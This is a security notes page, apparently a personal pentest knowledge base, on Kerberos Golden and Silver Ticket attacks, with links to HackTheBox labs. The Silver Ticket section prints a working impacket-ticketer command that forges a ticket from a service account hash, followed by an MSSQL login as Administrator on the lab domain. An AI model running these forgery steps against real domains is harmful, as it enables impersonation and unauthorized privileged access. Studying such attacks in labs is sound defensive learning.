> For the complete documentation index, see [llms.txt](https://jackx8x7x.gitbook.io/security-stuff/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jackx8x7x.gitbook.io/security-stuff/windows/credential-access/kerberos-ticket/golden-silver-ticket-attack.md).

# Golden/Silver Ticket Attack

## Overview

The ticket attack abuses the service account's password hash.

## Golden Ticket Attack

The Golden Ticket Attack abuses the `krbtgt` account's password hash to issue the Kerberos ticket-granting tickets as the KDC to access the resources.

After the adversary gets the account `krbtgt`'s password hash, it can

* create a valid Kerberos TGT for any user in the domain and
* *manipulate that user’s* [*PAC*](/security-stuff/windows/auth/kerberos.md#privilege-attribute-certificate-pac) *to gain additional privileges.*

### Tools

{% tabs %}
{% tab title="Impacket" %}

{% endtab %}

{% tab title="Rubues" %}

{% endtab %}

{% tab title="Mimikatz" %}

{% endtab %}
{% endtabs %}

### Labs

* [Forest](/security-stuff/hackthebox/windows/forest.md#golden-ticket-attack)

## Silver Ticket Attack

Attackers can mint service-granting tickets without communicating to the KDC, if they get the password hash for the service account.

{% embed url="<https://www.netwrix.com/silver_ticket_attack_forged_service_tickets.html>" %}

### Tools

{% tabs %}
{% tab title="Impacket" %}
With a service account's password hash, we can mint a service-granting ticket without interacting with the DC.

{% code overflow="wrap" %}

```
$ impacket-ticketer -nthash <password-hash> -domain-sid <domain-sid> -domain sequel.htb -dc-ip escape -spn MSSQL/DC.SEQUEL.HTB Administrator
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for sequel.htb/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache
```

{% endcode %}

We can use the saved ccache file to authenticate to the service later.

```bash
$ export KRB5CCNAME=Administrator.ccache
$ impacket-mssqlclient -k dc.sequel.htb
...
SQL> select suser_name()
                       
--------------------   
sequel\Administrator 
```

{% endtab %}

{% tab title="Rubues" %}

{% endtab %}

{% tab title="Mimikatz" %}

{% endtab %}
{% endtabs %}

### Labs

* [Escape](/security-stuff/hackthebox/windows/escape.md#silver-ticket-attack)